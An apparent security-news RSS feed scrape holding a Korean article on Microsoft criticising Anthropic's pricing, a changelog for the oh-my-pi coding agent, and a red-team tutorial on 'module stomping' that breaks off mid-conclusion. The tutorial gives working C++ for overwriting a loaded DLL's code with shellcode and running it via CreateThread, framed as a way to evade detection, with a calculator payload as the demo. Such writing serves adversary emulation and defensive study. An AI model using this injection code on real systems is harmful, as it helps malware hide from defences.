<pubDate>Mon, 08 Jun 2026 04:32:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>“남 탓하는 것 아닌가?”라는 반응이 나올 법하다. 마이크로소프트(MS)의 AI 부문 수장 무스타파 술레이만이 경쟁사 AI 서비스의 가격이 지나치게 비싸다고 비판한 시점이, 자사 깃허브 코파일럿의 사용량 기반 과금 체계가 개발자들에게 본격적인 비용 부담을 주기 시작한 때와 맞물렸기 때문이다.</p>



<p>MS AI 최고경영자(CEO)인 무스타파 술레이만은 <a href="https://www.bloomberg.com/news/newsletters/2026-06-04/microsoft-says-anthropic-models-are-too-expensive" target="_blank" rel="nofollow">블룸버그와의 인터뷰</a>에서 “앤트로픽은 매우 비싸며, 많은 사람이 대안을 절실히 찾고 있다고 생각한다”라고 말했다.</p>



<p>현재 AI 업계에서는 서비스 비용 문제가 주요 관심사로 떠오르고 있다. 기업 내 다양한 부서에서 AI 기술 활용이 확대되고 있지만, 상당수 기업은 의미 있는 투자 대비 수익률(ROI)을 입증하는 데 어려움을 겪고 있기 때문이다.</p>



<p>이 같은 상황에서 MS는 이번 주 연례 개발자 행사인 빌드(Build)에서 새로운 AI 모델 7종을 공개하며 비용 경쟁력을 적극 부각했다. 회사는 보다 저렴한 AI 모델이 제공될 경우 더 많은 기업이 AI 프로젝트의 사업성을 확보할 수 있을 것으로 기대하고 있다.</p>



<p>시장조사업체 가트너는 2025년 <a href="https://www.computerworld.com/article/4016206/nearly-half-of-agentic-ai-projects-will-be-killed-by-27-due-to-hype-costs-and-risks.html" target="_blank">보고서에서</a> 현재 추진 중인 많은 AI 프로젝트가 2027년까지 중단될 수 있다고 전망했다. 업계에서는 보다 저렴한 AI 구축 방식이 이러한 문제를 해결할 수 있는 대안이 될 것으로 보고 있다.</p>



<p>MS는 자사 AI 개발 도구가 앤트로픽 제품보다 더 높은 비용 효율성을 제공한다고 판단하는 것으로 보인다. 실제로 지난달에는 MS가 오는 6월 반기 계약 종료 시점에 맞춰 대부분의 클로드 코드(Claude Code) 라이선스를 해지하고, 엔지니어들을 자사 코파일럿 도구로 전환할 계획이라는 <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad" target="_blank" rel="nofollow">보도가 나온 바 있다</a>.<br>dl-ciokorea@foundryco.com</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.10.0]]></title>
<description><![CDATA[@oh-my-pi/pi-ai
Added

Added a dependency-free @oh-my-pi/pi-ai/effort module exporting the Effort enum and THINKING_EFFORTS, split out of model-thinking so hot-path consumers can import the thinking levels without pulling in model-thinking and its provider-compat dependency graph. The package bar...]]></description>
<link>https://tsecurity.de/de/3580231/tools/v15100/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580231/tools/v15100/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:53 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-ai</h2>
<h3>Added</h3>
<ul>
<li>Added a dependency-free <code>@oh-my-pi/pi-ai/effort</code> module exporting the <code>Effort</code> enum and <code>THINKING_EFFORTS</code>, split out of <code>model-thinking</code> so hot-path consumers can import the thinking levels without pulling in <code>model-thinking</code> and its provider-compat dependency graph. The package barrel still re-exports both names, so existing imports are unaffected.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed Antigravity usage provider emitting one bar per model instead of deduplicating by tier — a single account's 15+ model entries now collapse to one bar per tier, matching the shared-quota reality of the upstream API.</p>
</li>
<li>
<p>Fixed Antigravity usage reports missing <code>email</code> and <code>accountId</code> in metadata, so the <code>/usage</code> display and the deduplicator can associate reports with their credentials.</p>
</li>
<li>
<p>Fixed usage-report dedup ignoring <code>projectId</code> for Google Cloud providers, preventing duplicate credential entries from being recognized as the same account.</p>
</li>
<li>
<p>Fixed Cloud Code Assist (Antigravity / Gemini CLI) rejecting the <code>github</code> tool with HTTP 400 when the <code>pr</code> parameter schema contained <code>anyOf: [string, array]</code>. The CCA mixed-type combiner collapse picked the first non-null type (<code>string</code>) but indiscriminately copied type-specific keys from variant branches — <code>items</code> from the array variant leaked onto the string-typed result, producing <code>{type: "string", items: {...}}</code> which Google's API rejects as invalid. The collapse now filters merged variant fields against the winning type's allowed key set. (<a href="https://github.com/can1357/oh-my-pi/pull/2002" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2002/hovercard">#2002</a>)</p>
</li>
<li>
<p>Fixed OpenAI Responses-family providers (Codex, OpenAI Responses, Azure Responses) rejecting requests with <code>400 No tool output found for function call …</code> after the user branched/navigated the session tree to a node that ends on a tool call (the tool-result child is dropped from the reconstructed history) or after a turn was aborted/crashed between the call streaming and its result persisting. The converters now synthesize a placeholder <code>function_call_output</code>/<code>custom_tool_call_output</code> immediately after any unpaired <code>function_call</code>/<code>custom_tool_call</code>, symmetric to the existing orphan-output repair, so the model still sees the call and can recover instead of the whole request 400ing.</p>
</li>
<li>
<p>Fixed Anthropic-compatible reasoning endpoints losing prior-turn reasoning on continuation requests when they emit unsigned <code>thinking</code> blocks. <code>convertAnthropicMessages</code> treated unknown endpoints as signature-enforcing and demoted unsigned reasoning to <code>type: "text"</code>, which destabilized tool-call argument serialization on the next turn — the upstream symptom behind the <code>args?.ops?.map is not a function</code> crash reported against the <code>todo</code> tool. Official <code>api.anthropic.com</code> keeps the conservative text fallback; non-official <code>anthropic-messages</code> reasoning models now replay unsigned reasoning as native <code>type: "thinking"</code> (<a href="https://github.com/can1357/oh-my-pi/issues/2005" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2005/hovercard">#2005</a>).</p>
</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Replaced the <code>providers.parallelFetch</code> boolean setting with the <code>providers.fetch</code> enum (<code>auto</code> / <code>native</code> / <code>trafilatura</code> / <code>lynx</code> / <code>parallel</code> / <code>jina</code>) that selects the URL reader-backend priority for the <code>read</code>/<code>fetch</code> tool, mirroring <code>providers.image</code>/<code>providers.webSearch</code>. Existing configs are migrated automatically: the legacy key is dropped and the new <code>auto</code> default applies.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added a GitHub Actions read handler to the <code>read</code>/web-fetch GitHub scraper. Fetching <code>github.com/{owner}/{repo}/actions/runs/{id}</code> renders the run metadata plus a per-job breakdown (steps listed for any job that did not succeed), and <code>…/actions/runs/{id}/job/{id}</code> (also the API-style <code>…/jobs/{id}</code>) renders a single job's metadata, step table, and full plain-text logs. Logs are fetched via the <code>actions/jobs/{id}/logs</code> redirect using <code>GITHUB_TOKEN</code>/<code>GH_TOKEN</code> when present, with the per-line ISO timestamp prefix and leading BOM stripped; the section degrades to an explicit notice when logs are unavailable (no token, private repo, or expired/unfinalized run).</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed eval <code>agent()</code> subagents so they are never subject to the <code>task.maxRuntimeMs</code> wall-clock cap. The parent cell's idle watchdog is already suspended for the entire bridge call (<code>withBridgeTimeoutPause</code>), so a long-running fan-out/recovery workflow must not be killed by a per-subagent runtime limit. <code>runEvalAgent</code> now passes <code>maxRuntimeMs: 0</code> to <code>runSubprocess</code>, which honors an explicit <code>ExecutorOptions.maxRuntimeMs</code> override over the inherited setting.</li>
<li>Changed interactive timing behavior so <code>PI_TIMING=x pi</code> preloads the module timer before the CLI graph loads and includes the <code>(modules)</code> report. <code>PI_TIMING=full</code> now also exits after printing, matching <code>PI_TIMING=x</code>, so full module reports are usable for cold-start measurement without launching the TUI. Added the root <code>dev:timing</code> script for the same profiled startup path.</li>
<li>Changed coding-agent startup imports so normal TUI launch imports <code>InteractiveMode</code> directly, keeps print/RPC/ACP runners on their branch-only paths, and moves marketplace auto-update work behind a lightweight deferred starter.</li>
<li>Changed cold-launch setup gating so the full setup wizard (every scene plus the overlay and their TUI/OAuth/web-search/theme dependencies) is no longer statically imported by <code>main.ts</code>. The current setup version now lives in a tiny dependency-free <code>modes/setup-version</code> module, and the wizard barrel is lazy-loaded only when the stored setup version is stale or the wizard is forced — the common up-to-date launch skips loading it entirely.</li>
<li>Changed cold-launch startup imports so the hot-path CLI files no longer pull the full <code>@oh-my-pi/pi-ai</code> barrel: <code>commands/launch.ts</code> and <code>cli/args.ts</code> import <code>THINKING_EFFORTS</code>/<code>Effort</code> from the tiny <code>@oh-my-pi/pi-ai/effort</code> module, and <code>config/model-registry.ts</code> now imports its ~20 symbols from narrow subpaths (<code>api-registry</code>, <code>model-cache</code>, <code>model-manager</code>, <code>model-thinking</code>, <code>models</code>, <code>provider-models</code>, <code>types</code>, <code>utils/event-stream</code>) instead of the barrel — so launching no longer eagerly loads every provider, auth, OAuth, and usage module re-exported by the barrel.</li>
<li>Changed the <code>read</code>/<code>fetch</code> HTML reader-backend priority to <code>native &gt; trafilatura &gt; lynx &gt; parallel &gt; jina</code> (was <code>parallel &gt; jina &gt; trafilatura &gt; lynx &gt; native</code>). The in-process native <code>htmlToMarkdown</code> runs first — instant, no network, full-fidelity — so the common case no longer depends on a remote service, and a stalled remote backend can no longer mask it. Selecting a specific backend via <code>providers.fetch</code> tries it first, then the rest fall back. The low-quality gate (<code>&gt;100</code> chars and not <code>isLowQualityOutput</code>) now applies uniformly to every backend; when none clears it, the highest-priority substantial-but-low-quality output is still surfaced so the <code>llms.txt</code> / document-extraction fallbacks keep running.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed eval <code>agent()</code> failures surfacing as an opaque <code>RuntimeError: bridge call '__agent__' failed</code> with no reason. When a subagent aborted, <code>runEvalAgent</code> built its failure message with <code>result.error ?? result.stderr ?? result.abortReason ?? …</code>, but <code>result.stderr</code> is the empty string on a clean abort (and <code>result.error</code> is gated on a non-empty <code>stderr</code>), so the nullish chain stopped at <code>""</code> and never reached <code>abortReason</code>. The empty string propagated through the loopback bridge and the Python prelude's <code>RuntimeError(msg or "bridge call … failed")</code>, discarding the real reason. The chain now uses <code>||</code> so an empty <code>stderr</code> falls through to <code>abortReason</code>.</li>
<li>Fixed subagent aborts being mislabeled as the generic "Cancelled by caller" when the abort originated inside the subagent's own turn (<code>stopReason: "aborted"</code> with no caller signal and no runtime-limit timer). <code>runSubprocess</code> now prefers the aborted assistant message's <code>errorMessage</code> (e.g. "Request was aborted" or a specific stream error) for that case, while a real caller signal or wall-clock abort still reports its precise reason.</li>
<li>Fixed a long streaming tool preview that alone overflows the viewport dropping its scrolled-off head on ED3-risk terminals (ghostty/kitty/iTerm2/…). When expanded with <code>Ctrl+O</code>, a streaming <code>write</code> (content streaming in) and a streaming <code>eval</code> (stdout streaming below its fixed code cell) render top-anchored and grow append-only, but the tool block never reported itself append-only to the transcript, so the renderer's commit-as-you-go boundary stopped at the block start and the earlier rows that scrolled above the viewport were committed nowhere — they vanished, leaving the preview looking like a viewport-tall circular buffer. <code>ToolExecutionComponent</code> now implements <code>isTranscriptBlockAppendOnly()</code> (gated on <code>isTranscriptBlockFinalized()</code>, so it also covers partial-result streams like <code>eval</code>), delegating to a renderer-declared <code>isStreamingPreviewAppendOnly</code> predicate so the expanded stream commits its head exactly like a streamed assistant reply. Collapsed previews (bounded sliding tail windows) and finalized/result previews (which can collapse to a capped view) stay deferred.</li>
<li>Fixed <code>read</code>/<code>fetch</code> silently dropping whole list sections on pages with malformed list markup — stray <code>&lt;img&gt;</code>, text, or <code>&lt;video&gt;</code> nodes as direct children of <code>&lt;ul&gt;</code> (e.g. the Alacritty changelog). The Jina reader (previously tried before the local renderers) mis-extracts such lists, returning empty <code>Added</code>/<code>Changed</code> sections; the native in-process renderer now runs first and preserves the full content.</li>
<li>Fixed <code>/usage</code> aggregate amount fallback using raw <code>limits.length</code> as account count — now counts unique <code>accountId</code> values from limit scopes, so N limits from a single account no longer display as "N accts".</li>
<li>Fixed <code>/usage</code> account labeling falling back to "account N" for providers that use <code>projectId</code> as their primary identity (e.g. Google Antigravity, Gemini CLI) — <code>projectId</code> from report metadata is now considered before the generic fallback.</li>
<li>Fixed the <code>todo</code> tool's TUI renderer crashing with <code>TypeError: args?.ops?.map is not a function</code> when a streaming tool-call delta surfaced a non-array <code>ops</code> field (mid-stream <code>parseStreamingJson</code> shapes like <code>{ ops: "[{" }</code>, or <code>[null]</code> entries before fields arrive). The renderer now treats non-array <code>ops</code>, non-object entries, and non-array <code>items</code> as missing structure instead of crashing, which also stops the spam-warn cascade that followed each malformed delta. Paired with the Anthropic-side reasoning-replay fix in <code>packages/ai</code> (<a href="https://github.com/can1357/oh-my-pi/issues/2005" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2005/hovercard">#2005</a>).</li>
<li>Fixed Python eval <code>agent()</code> collapsing subagent runtime-limit aborts (and other empty-stderr aborts) into a generic <code>RuntimeError: bridge call '__agent__' failed</code>. <code>runEvalAgent</code> coalesced the failure message with <code>??</code>, which stopped at the empty <code>stderr</code> and never reached <code>abortReason</code>, shipping an empty error through the loopback bridge. The bridge now prefers <code>abortReason</code> for aborts and trims empty <code>stderr</code>/<code>error</code> out of the fallback chain, so Python surfaces the actionable reason (e.g. <code>Subagent runtime limit exceeded (task.maxRuntimeMs=900000)</code>) (<a href="https://github.com/can1357/oh-my-pi/issues/2006" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2006/hovercard">#2006</a>).</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Changed</h3>
<ul>
<li>Reworked the DEC 2026 synchronized-output default policy: a positive DECRQM mode-2026 report now <strong>enables</strong> sync (previously a report could only disable it), so conservatively defaulted-off hosts that actually support it — current Zellij, tmux master, foot, contour, mintty — are upgraded at runtime. The static allowlist also covers Alacritty and the VS Code terminal, honors a <code>TERM_FEATURES</code> <code>Sy</code> advertisement and <code>WT_SESSION</code> (Windows Terminal / WSL), and no longer blanket-disables SSH (DEC 2026 passes through to the outer terminal). Risky multiplexers still start off and rely on the probe. Added <code>synchronizedOutputUserOverride()</code> as the shared opt-out/force resolver.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed WSL/Windows Terminal row flicker while typing by repainting changed text rows before clearing only their stale suffix (<a href="https://github.com/can1357/oh-my-pi/issues/2011" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2011/hovercard">#2011</a>).</li>
<li>Fixed terminals that support DEC 2026 still tearing/flickering because the renderer ignored a positive DECRQM capability report and kept synchronized output off — most visibly WSL + Windows Terminal, Alacritty (≥0.13), and the VS Code terminal (≥1.108), which were detected yet refused sync.</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Changed</h3>
<ul>
<li><code>logger.printTimings()</code> (the <code>PI_TIMING</code> startup tree) now surfaces two previously-invisible regions: a <code>(before instrumentation)</code> line for runtime init / uncaptured pre-marker work, and an <code>(unattributed self)</code> line for the root span's own untimed work so the gap between visible top-level spans and <code>Total</code> is no longer swallowed. <code>Total</code> is now labelled <code>(since first marker)</code> to make the window explicit. The restored <code>module-timer.ts</code> preload can feed module spans into the report: each module records <code>onLoad</code> → final top-level marker as <code>total</code>, a prepended body marker → final marker as <code>body/TLA</code>, and resolved static imports as a bounded dependency tree so the report separates graph wait from actual top-level module work.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(ai): strip type-specific keys when CCA mixed-type collapse picks non-matching type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basedcorp99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basedcorp99">@basedcorp99</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604403802" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2002" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2002/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2002">#2002</a></li>
<li>fix(usage): sanitize Antigravity /usage display — dedupe by tier, fix account count, merge window data by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basedcorp99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basedcorp99">@basedcorp99</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604535282" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2004" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2004/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2004">#2004</a></li>
<li>fix(coding-agent): harden todo renderer against malformed streaming args by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604606095" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2007" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2007/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2007">#2007</a></li>
<li>fix(eval): surface subagent abort reason through Python agent() bridge by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604617408" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2008" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2008/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2008">#2008</a></li>
<li>docs(web-search): updated kagi description to v1 endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604730736" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2010" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2010/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2010">#2010</a></li>
<li>fix(tui): reduce WSL row flicker while typing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605011322" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2012" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2012/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2012">#2012</a></li>
<li>fix(debug): wait for dlv unix socket before connecting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605183307" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2014" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2014/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2014">#2014</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.9.69...v15.10.0"><tt>v15.9.69...v15.10.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An Introduction to Module Stomping]]></title>
<description><![CDATA[Overwriting DLLs for Windows Process InjectionBackgroundContextIn modern adversary emulation, generic process-injection techniques are closely scrutinized. Legacy approaches like cross-process thread creation with unbacked memory regions trigger immediate behavioral telemetry and get instantly po...]]></description>
<link>https://tsecurity.de/de/3579536/hacking/an-introduction-to-module-stomping/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579536/hacking/an-introduction-to-module-stomping/</guid>
<pubDate>Sun, 07 Jun 2026 16:53:54 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Overwriting DLLs for Windows Process Injection</h4><h3>Background</h3><h4>Context</h4><p>In modern adversary emulation, generic process-injection techniques are closely scrutinized. Legacy approaches like cross-process thread creation with unbacked memory regions trigger immediate behavioral telemetry and get instantly popped by memory scanners.</p><p>To bypass these hurdles, we need to <em>slide</em> past detection. Enter <strong>Module Stomping,</strong> a technique that involves overwriting the .text section of a loaded, signed DLL to hide our payload inside a disk-backed memory region.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*U8UJ8_acKRS5lhXe38CWeg.png"><figcaption>CHA CHA NOW YA’LL</figcaption></figure><p>In this post, I will outline the basic workflow and some common primitives used in <strong>module stomping for Windows process injection</strong>.</p><h4>Tools</h4><p>All module stomping code referenced in this post can be found in the ‘module-injection’ folder in my ‘windows-process-injection’ repository.</p><p><a href="https://github.com/toneillcodes/windows-process-injection">GitHub - toneillcodes/windows-process-injection: A collection of techniques for process injection on Windows</a></p><p><strong>SystemInformer</strong> can optionally be used to follow the workflow and will be covered in the example PoC section of this post.</p><p><a href="https://systeminformer.sourceforge.io/">System Informer</a></p><h3>Module Stomping</h3><h4>Workflow &amp; Primitives</h4><p>The following is an outline of a common module stomping workflow.</p><ul><li><strong>Step One</strong>: Identify a <strong>target module</strong> or use LoadLibraryExA to load a ‘sacrificial’ module to serve as the <strong>stomping target</strong>.</li><li><strong>Step Two:</strong> Identify an <strong>address</strong> within the target module’s address space to <strong>write </strong>our <strong>buffer</strong> (typically by locating a specific exported function via GetProcAddress).</li><li><strong>Step Three:</strong> <strong>Write </strong>our<strong> buffer</strong> to the <strong>address </strong>from Step Two with WriteProcessMemory<strong>.</strong></li><li><strong>Step Four:</strong> Create a <strong>new thread</strong> using the <strong>buffer address </strong>from Step Two with CreateThread.</li></ul><p>While this foundational workflow is completely functional, a stock implementation like this leaves a massive trail of Indicators of Compromise (IoCs). In the sections below, we’ll analyze how this basic approach trips modern defenses, and how we can modify the code to obscure both static and dynamic signatures.</p><h3>Proof-of-Concept</h3><h4>Local Stomping</h4><p>The cleanest way to map out this tradecraft is by executing it within our current process context. This keeps our debugging loop simple and focuses purely on the memory manipulation itself. Let’s break down the core logic using the <a href="https://github.com/toneillcodes/windows-process-injection/blob/main/module-stomping/local-stomp.cpp">local-stomp.cpp</a> source file from the ‘<a href="https://github.com/toneillcodes/windows-process-injection">Windows Process Injection</a>’ repository.</p><p>First, we need to open a handle to the current process using OpenProcess.</p><pre>// Open a handle to the current process<br>HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));<br>if(pHandle == NULL) {<br>    printf("Failed to acquire process handle!\n");<br>    return -1;<br>}<br>printf("[*] Successfully opened handle to PID: %u\n", pid);</pre><p>Now that we have a handle, we need to either locate or load the target module.</p><p>For this demonstration, we’ll load wininet.dll; it’s fairly large and so it can accommodate testing different payloads. Using LoadLibraryExA is not always a good idea, but it is helpful for demonstrating the concept.</p><pre>// load sacrificial DLL, using wininet because it is fairly large and so it can accomodate different PoC payloads<br>HMODULE hSacrificialDll = LoadLibraryExA("wininet.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);<br>if (hSacrificialDll == NULL) {<br>    printf("[ERROR] Failed to obtain DLL handle! Error: %lu\n", GetLastError());<br>    return -1;<br>}<br>printf("[*] Target DDL loaded.\n");</pre><p>We need to identify the .text section of the module. We can either locate the section itself or search the module for a specific function.</p><p>For the sake of demonstration, we will leverage the GetProcAddresss function. We pass a handle to the module and the function name we want to locate, and it will return the address.</p><pre>LPVOID targetAddress = (LPVOID)GetProcAddress(hSacrificialDll, "CommitUrlCacheEntryW");  <br>if (targetAddress == NULL) {<br>    printf("[ERROR] Failed to locate target function CommitUrlCacheEntryW! Error: %lu\n", GetLastError());<br>    return -1;<br>}<br>printf("[*] Target wininet.dll!CommitUrlCacheEntryW located at: : 0x%016llx\n", targetAddress);</pre><p>Now that we have a target address, we can overwrite module code with our own buffer by using targetAddress as the destination parameter for WriteProcessMemory.</p><pre>// Write the shellcode to the block of memory that we allocated with VirtualAllocEx<br>BOOL writeShellcode = WriteProcessMemory(pHandle, targetAddress, buf, sizeof buf, NULL);<br>if(writeShellcode == false) {<br>    printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", targetAddress, GetLastError());<br>    FreeLibrary(hSacrificialDll);<br>    return -1;<br>}</pre><p>Finally, execute our buffer by creating a new thread, using the targetAddress value as the lpStartAddress parameter for CreateThread.</p><pre>// Create a new thread using the shellcode buffer address as the starting point<br>HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetAddress, NULL, 0, NULL);<br>if (tHandle == NULL) {<br>    printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError());<br>    FreeLibrary(hSacrificialDll);<br>    return -1;<br>}</pre><h4>Compile</h4><p>Compile the local-stomp.cpp example code and suppress warnings.</p><pre>windows-process-injection\module-stomping&gt;cl.exe local-stomp.cpp /W0<br>Microsoft (R) C/C++ Optimizing Compiler Version 19.16.27054 for x64<br>Copyright (C) Microsoft Corporation.  All rights reserved.<br><br>local-stomp.cpp<br>Microsoft (R) Incremental Linker Version 14.16.27054.0<br>Copyright (C) Microsoft Corporation.  All rights reserved.<br><br>/out:local-stomp.exe<br>local-stomp.obj<br><br>windows-process-injection\module-stomping&gt;</pre><h4>Execute &amp; Validate</h4><p>The PoC includes pauses to help track the workflow. In this example, we will use SystemInformer (previously ProcessHacker) to illustrate the process.</p><ul><li>Run local-stomp.exe and pause at the first prompt to openSystemInformer and locate the process using the PID from the output.</li></ul><pre>windows-process-injection\module-stomping&gt;local-stomp.exe<br>[*] Running PI with target PID: 1100<br>[*] Successfully opened handle to PID: 1100<br>[*] Press Enter to load the sacrificial DLL: &lt;Enter&gt;</pre><ul><li>Double-click on the process from the list and, in the process Properties panel, open the ‘Modules’ tab. Note that at this point, only kernel32.dll and ntdll.dll have been loaded.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*3eEGhC1xWr1UavK-5qdOmQ.png"><figcaption>Baseline modules for our simple executable.</figcaption></figure><ul><li>Back at the console, press Enter to resume the process and load the sacrificial DLL wininet.dll and locate the CommitUrlCacheEntryW function.</li></ul><pre>windows-process-injection\module-stomping&gt;local-stomp.exe<br>[*] Running PI with target PID: 1100<br>[*] Successfully opened handle to PID: 1100<br>[*] Press Enter to load the sacrificial DLL: &lt;Enter&gt;<br>[*] Target DLL loaded.<br>[*] Target wininet.dll!CommitUrlCacheEntryW located at: 0x00007ff917297f30<br>[*] Press Enter to write the shellcode:</pre><ul><li>In the console output, note the function’s address:0x00007ff917297f30. Back in SystemInformer, review the ‘Modules’ list. It should contain a new entry for wininet.dll.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*Uhmm5xWDW6I6UBbMVgGJdw.png"><figcaption>Refreshed module list shows the wininet.dll module</figcaption></figure><ul><li>Switch to the ‘Memory’ tab in SystemInformer and sort by ‘Base Address’. Locate the .text section of the target module by looking for the section that contains the function address (hint: it should have a ‘Use’ value of ‘C:\Windows\System32\wininet.dll’ with RXprotection).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*nHU_Breu5s4Tsw_Olc1_TQ.png"><figcaption>Locating the .text section of wininet.dll based on properties</figcaption></figure><ul><li>Right-click and copy the ‘Base Address’ of this section. In this case, the address was 0x7ff917221000</li><li>Subtract the function address from the section base to obtain the offset 0x00007ff917297f30 - 0x00007ff917221000 = 0x76F30</li><li>Double-click the Memory entry to view the contents. When the window loads, click the ‘Go to…’ button and enter the offset found when subtracting the function from the module base RVA. (0x76F30). The code has not been tampered with and contains legitimate wininet.dll code.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*g_qbDlvL5Fy8eT9ILWU5uA.png"><figcaption>Baseline module code that has not been tampered with</figcaption></figure><ul><li>Back at the console, press ‘Enter’ to write the shellcode to the target address</li></ul><pre>...<br>[*] Target wininet.dll!CommitUrlCacheEntryW located at: 0x00007ff917297f30<br>[*] Press Enter to write the shellcode: &lt;Enter&gt;</pre><ul><li>Back in SystemInformer, in the ‘Memory’ tab, click the ‘Re-read’ button to refresh the memory at the target address. It should now reflect the bytes from our buffer.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*GKuMMgC04Abr8wY-3O008A.png"><figcaption>Updated memory shows our payload bytes and the calc.exe string</figcaption></figure><ul><li>Press ‘Enter’ one last time and confirm that the payload executes. Unless replaced, the shellcode is the Win32 calculator payload from Metasploit’s msfvenom.</li></ul><pre>...<br>[*] Press Enter to write the shellcode: &lt;Enter&gt;<br>[*] Press Enter to execute the shellcode: &lt;Enter&gt;<br>[*] Waiting for the thread to return...<br>[*] Process injection complete.<br><br>windows-process-injection\module-stomping&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GhhEn6_WRWzzCJoK6mTPTw.png"><figcaption>Full execution resulting in a…calculator!</figcaption></figure><h3>Conclusion</h3><h4>Summary</h4><ul><li>Module stomping successfully circumvents traditional allocation traps by hiding payloads directly within the .text section of legitimate DLLs.</li><li>Module stomping is a valuable tool for Windows process injection.</li><li>While highly functional as 